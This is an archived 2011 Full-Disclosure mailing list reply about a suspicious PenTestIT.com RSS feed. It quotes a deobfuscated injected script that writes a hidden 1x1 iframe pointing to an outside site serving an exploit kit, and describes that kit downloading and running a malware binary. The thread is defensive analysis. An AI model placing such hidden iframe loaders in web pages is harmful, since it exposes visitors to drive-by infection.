full-disclosure - Re: PenTestIT.com RSS feed suspicius

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-id: <4E13DC97.18567.83C0F847@nick.virus-l.demon.co.uk>
Date: Wed, 06 Jul 2011 15:55:03 +1200
From: Nick FitzGerald <nick@...us-l.demon.co.uk>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: PenTestIT.com RSS feed suspicius

Andrew Farmer to ector dulac:

> > Looks suspicious to me
> 
> Very. That unescapes to:
> 
>     document.write('<iframe src="http://innessphoto.com/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')
> 
> Which loads some amusingly obfuscated JS ...

Really?

That amused you?

Maybe my irony detector is on the blink, but that was very ordinary 
several years ago.

> ...  which looks like it's
> *supposed* to be a plugin exploit of some sort, but which has no
> real payload. At least, not when I looked. 

Ummmm -- not what I got at all.

I got a very old, very common multi-exploit script that, if successful, 
(that is, if run on a sufficiently old, sufficiently unpatched, system) 
would have downloaded and executed a PE that was only just very 
recently (a bit less than three hours ago) submitted to VirusTotal, 
with these results:

   http://www.virustotal.com/file-scan/report.html?id=9a68644038cb4f6a0b3b2057c5cdf5a22898675ebc20baedc601dfc94d9fa3e1-1309914305

Of course, what you get served from any given "exploit script" URL can 
vary greatly, from hour-to-hour, GeoIP-to-GeoIP, and equally amongst 
apparent browser User-Agents (including OS (OS x vs. Windows vs. 
others) and even OS version (XP vs. Vista/Win7), etc), HTTP referer 
headers, presence or absense or contents of cookies, and so on and so 
forth...

Regards,

Nick FitzGerald

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/